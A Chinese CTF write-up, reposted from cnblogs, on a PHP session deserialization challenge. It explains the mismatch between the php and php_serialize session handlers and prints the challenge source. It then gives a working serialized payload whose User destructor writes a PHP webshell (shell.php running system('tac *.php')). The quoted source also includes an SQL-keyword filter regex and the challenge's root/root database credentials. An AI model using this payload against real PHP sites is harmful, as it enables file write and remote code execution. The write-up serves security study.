ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

关于一道反序列化题的纠结

2020-09-20 16:34:42  阅读:305  来源: 互联网

标签:username php 一道 serialize 纠结 session limit 序列化


0x00前记

​ 拿到题目后,感觉是一个盲注,一顿骚操作无果,然后群主就说了考点是反序列化。感觉应该是有源码泄露,试了一下,存在www.zip可以获得一个压缩包,解压后是几个文件,有一个CTFSHOIW.php有1000多行代码,我像个傻孩子对着它分析了3个多小时,但是毫无进展,想要构建的POP链好像都没有引用到对应的函数。然后我就去想着试试能不能在网上找到源码,还真找到了CTFSHOIW页面的源码,进行文本对比后,发现了存在的多个不同,但是在我一一验证后发现,这些不同的地方并没有被引用到,只是存在了定义,那说明漏洞应该不存在这个页面了。去别的页面看看了。

​ 存在类的页面就剩inc.php了,其中定义了一个类,并且在它销毁时会调用file_put_contents()函数,存在写入的可能,并且应该是可以反序列化的,然后我就想着找unserialize()函数,然后啥也没得。既然没有快捷方式,那就继续代码审计了,对于类的页面肯定是最先开始的,找到了一个重要的考点

ini_set('session.serialize_handler', 'php');
//存在SESSION的反序列化内容

0x01SESSION反序列化

​ 前提条件:session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户的session会被存在在指定目录(默认为/tmp/sess_ssesionid)

​ 上述代码中有个session.serialize_handler的参数,它代表:session序列化和反序列化处理器,PHP内置了多种处理器用于存取$_SESSION数据时对数据进行序列化和反序列化,常用的处理器有三种,如下:

处理器 存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组

​ 知道了序列化的格式后,可以自身构造我们想要反序列化的Payload,从而获得我们执行我们想要的操作。

​ PHP session反序列化漏洞,是由于网站序列化并存储session和反序列化读取session的方式存在不同时可能就导致session反序列化漏洞产生。简单说:本身php处理器和php_serialize处理器对于生成序列化没有问题,但是如果两者混合使用就会出现问题。使用session.serialize_handler = php_serialize模式存储的字符可以引入“|” , 再用session.serialize_handler = php格式取出$_SESSION的值时, “|”因为不能被识别,会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

0x02题目

inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
//创建了一个CTFSHOW的对象,啥作用果然还是得去另外一个看看
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查,过滤很多基本没啥可以利用的,这题的考点是反序列化,可能跟这个也没啥关系,继续看看
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
//最后是一个函数,不分析了暂时没想到他可以利用的地方

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

通过这一页的源代码可以构造我们所需要的Payload,在对象被销毁时触发魔术方法,然后写入文件

Payload.php
<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new User('shell.php',"<?php system('tac *.php');?>");
echo serialize($a);

?>
//Payload:|O:4:"User":3:{s:8:"username";s:9:"shell.php";s:8:"password";s:28:"<?php system("tac *.php");?>";s:6:"status";N;}
//最后需要在Payload前面加上“|”在识别的时候分隔开
index.php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

//上述可以看到,session被开启了,这里可以利用到它将我们的session传入
check.php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){
	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

//这里主要是包含了inc.php文件,是我们要反序列化的地方

​ 最后,访问index.php,然后访问check.php,执行反序列化,最后去访问反序列化的创建的文件,查看源代码即可。由于请求后,session会立刻被清空覆盖,所以这里还有一个考点是条件竞争,可以通过脚本或者bp实现。后续具体的实现步骤就不说了。

0x03后记

​ 这个考点,其实Firebasky师傅早跟我说了好多次了,不过每次都没有认真学习,仅仅只是为了做题写过脚本。不过这次认真学了一下,以后遇到应该会记起来

0x04参考链接

https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/#例题一

https://www.mi1k7ea.com/2019/04/21/PHP-session反序列化漏洞/

https://xz.aliyun.com/t/6640

标签:username,php,一道,serialize,纠结,session,limit,序列化
来源: https://www.cnblogs.com/erR0Ratao/p/13700818.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有